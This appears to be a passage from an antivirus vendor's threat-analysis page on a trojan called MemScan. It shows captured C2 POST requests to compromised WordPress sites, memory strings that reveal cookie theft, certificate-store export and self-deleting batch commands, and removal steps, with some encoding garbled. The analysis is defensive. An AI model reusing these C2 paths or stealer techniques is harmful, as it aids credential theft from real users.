VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=shift_jis"/>..<title>404 -
 [email protected]</title>..<style
 type="text/css">..<!--..body{margin:0;font-size:.7em;font-famil
y:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset
{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}
..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;mar
gin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padd
ing:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;colo
r:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position
:relative;}...content-container{background:#FFF;width:96%;margin-top:8
px;padding:10px;position:relative;}..-->..</style>..</head
>..<body>..<div id="header"><h1>.T.[.o.[ .G...[&l
t;/h1></div>..<div id="content">.. <div class="conte
nt-container"><fieldset>..  <h2>404 - [email protected].
B...N.g...................B</h2>..  <h3>...........\.[.X..
.............\.............B.......A...O.....X.........A...........I..
.g.p.s...\...............B</h3>.. </fieldset></div>.
.</div>..</body>..</html>....
<<< skipped >>>


POST /wp-content/themes/twentyten/files.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: trinox.jp
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

.....yG..
..6.}L.....m.....O.......LD..%..............^....V.a...I..l..f...:*.G.~.f..0-..O.$.:r_........... ....C;..*,V..
:.....
HTTP/1.1 404 Not Found
Date: Wed, 24 Sep 2014 09:29:12 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
X-Pingback: hXXp://trinox.jp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Set-Cookie: PHPSESSID=472f282bb577df4367f289fe98ab28b0; path=/
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
106..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<ht
ml xmlns="hXXp://VVV.w3.org/1999/xhtml" lang="ja">..<head profil
e="hXXp://gmpg.org/xfn/11">..<meta http-equiv="Content-Type" con
tent="..13..text/html; charset=..156..UTF-8" />..<meta http-equi
v="content-style-type" content="text/css" />..<meta http-equiv="
content-script-type" content="text/javascript" />..<meta name="a
uthor" content="" />..<meta name="keyword" content="" />..<
;meta name="google-site-verification" content="zyqVLQ9dhino6JBdjyibnWI
OVgQgQjvRG9MMDp5PIyQ" />..<meta name="description" content="..2a
..............................................3.. - ..63..............
......TRINOX /........................................................
...." />..<title>..2a........................................
......3.. - ..7d....................TRINOX /..........................
..................................</title>..<link rel="styles
heet" href="..91..hXXp://trinox.jp/wp-content/themes/trinox/style.css"
 type="text/css" media="screen" />..<link rel="alternate" type="
application/atom xml" title="..68....................TRINOX /.........
................................................... Atom Feed" href=".
.58..hXXp://trinox.jp/feed/atom" />..<link rel="alternate" type=
"application/rss xml" title="..67....................TRINOX /.........
................................................... RSS Feed" href
<<< skipped >>>


POST /wp-content/themes/twentytwelve/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: shizenai.jp
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache

O..b)..... x?.2.......23[T....3&7.....|....o...V.}[=(v..i.....w...^0.....2...e.-...#J...0.(..... D3_&$.]]p..[}I...x....:....B..;...
HTTP/1.1 404 Not Found
Date: Wed, 24 Sep 2014 09:29:19 GMT
Server: Apache
X-Pingback: hXXp://shizenai.jp/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Keep-Alive: timeout=5, max=256
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
2654....<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//
EN"..."hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..&
lt;html xmlns="hXXp://VVV.w3.org/1999/xhtml" xml:lang="en" lang="en"&g
t;..<head>...<title>Nothing found for  Wp Content Themes T
wentytwelve File Php</title>...<meta http-equiv="Content-Type
" content="text/html; charset=UTF-8" />....<meta name="generator
" content="WordPress 4.0" /> <!-- leave this for stats please --
>...<link rel="stylesheet" href="hXXp://shizenai.jp/wp-content/t
hemes/azul/style.css" type="text/css" media="screen" />...<link 
rel="alternate" type="application/rss xml" title="RSS 2.0" href="http:
//shizenai.jp/feed/" />...<link rel="alternate" type="text/xml" 
title="RSS .92" href="hXXp://shizenai.jp/feed/rss/" />...<link r
el="alternate" type="application/atom xml" title="Atom 0.3" href="http
://shizenai.jp/feed/atom/" />...<link rel="pingback" href="http:
//shizenai.jp/xmlrpc.php" />....<link rel='archives' title='2014
...9...' href='hXXp://shizenai.jp/2014/09/' />..<link rel='archi
ves' title='2014...8...' href='hXXp://shizenai.jp/2014/08/' />..<
;link rel='archives' title='2014...7...' href='hXXp://shizenai.jp/2014
/07/' />..<link rel='archives' title='2014...6...' href='hXXp://
shizenai.jp/2014/06/' />..<link rel='archives' title='2014...1..
.' href='hXXp://shizenai.jp/2014/01/' />..<link rel='archives' t
itle='2012...11...' href='hXXp://shizenai.jp/2012/11/' />..<
<<< skipped >>>

The MemScan connects to the servers at the folowing location(s):

Explorer.EXE_2032_rwx_01C50000_0003B000:

.text
`.data
.reloc
%s, u %s %u u:u:u GMT
HTTP/1.1
HTTP/1.0
hXXp://
; charset=%s
HTTP/1.1 %u %s
Date: %s
Content-Length: %u
Expires: %s
Content-Type: %s%s
ID: %s
value_%s
value_%s_%s
%s = "%s";
update.exe
config.bin
PR_OpenTCPSocket
cit_ffcookie.module
cit_video.module
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
cabinet.dll
hXXp://xxxxxxxx.com/xxxx/xxxx.php
%s%s%s
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
6;:5;66"
,1;(,; = 1
<! 8< ;-;
'472%9,{
F@ICTQ}cRTWAunO}mmts}NX~csgzn~)[jzyemer\]ika
8/3.xae4LOa
6 !26!1'1!
hXXps://
HTTP/1.
facebook.com
Cookie: %s
Referer: %s
Accept: %s
Accept-Language: %s
Accept-Encoding: %s
_getFirefoxCookie
hXXp://VVV.google.com/webhp
SSShD
b%cWF
SSShXe
SSShye
GetProcessHeap
CreatePipe
KERNEL32.dll
MsgWaitForMultipleObjects
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
SetKeyboardState
ExitWindowsEx
GetKeyboardState
MapVirtualKeyW
GetKeyboardLayoutList
USER32.dll
RegCreateKeyExW
RegOpenKeyExW
RegCloseKey
RegCreateKeyW
RegEnumKeyW
RegQueryInfoKeyW
RegEnumKeyExW
ADVAPI32.dll
UrlUnescapeA
SHDeleteKeyW
PathIsURLW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpOpenRequestA
HttpOpenRequestW
HttpEndRequestA
HttpSendRequestA
HttpEndRequestW
InternetCrackUrlA
HttpAddRequestHeadersW
GetUrlCacheEntryInfoW
HttpAddRequestHeadersA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
VERSION.dll
WINMM.dll
PSSSSSSh
.fQ,& 
3$3*30383
6|7k7u7
9 :1:::@:
42>204:4
sXXXX
nspr4.dll
chrome.dll
\StringFileInfo\xx\%s
ntdll.dll
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
SELECT * FROM %s
Company: %s
Product: %s
Version: %s
Software\Microsoft\Windows\CurrentVersion\Uninstall
%u: %s | %s | %s
Global\XXX
SysShadow
Chrome
Firefox
%Documents and Settings%\%current user%\Application Data
{7A59523A-121C-532D-8068-B213B35F84BE}
%Documents and Settings%\%current user%\Application Data\Asoxg\cyfao.eku
%Documents and Settings%\%current user%\Application Data\Asoxg
cyfao.eku
Global\{EC22E01F-A039-C556-8068-B213B35F84BE}
%Documents and Settings%\%current user%\Application Data\Yxowi\vahao.doc
%Documents and Settings%\%current user%\Application Data\Yxowi
vahao.doc


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    mscorsvw.exe:172
    %original file name%.exe:1696
    capi.exe:1260

  3. Delete the original MemScan file.
  4. Delete or disinfect the following files created/modified by the MemScan:

    %Documents and Settings%\%current user%\Application Data\Otel\capi.exe (235 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\tmpb8b753d6.bat (177 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2026 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now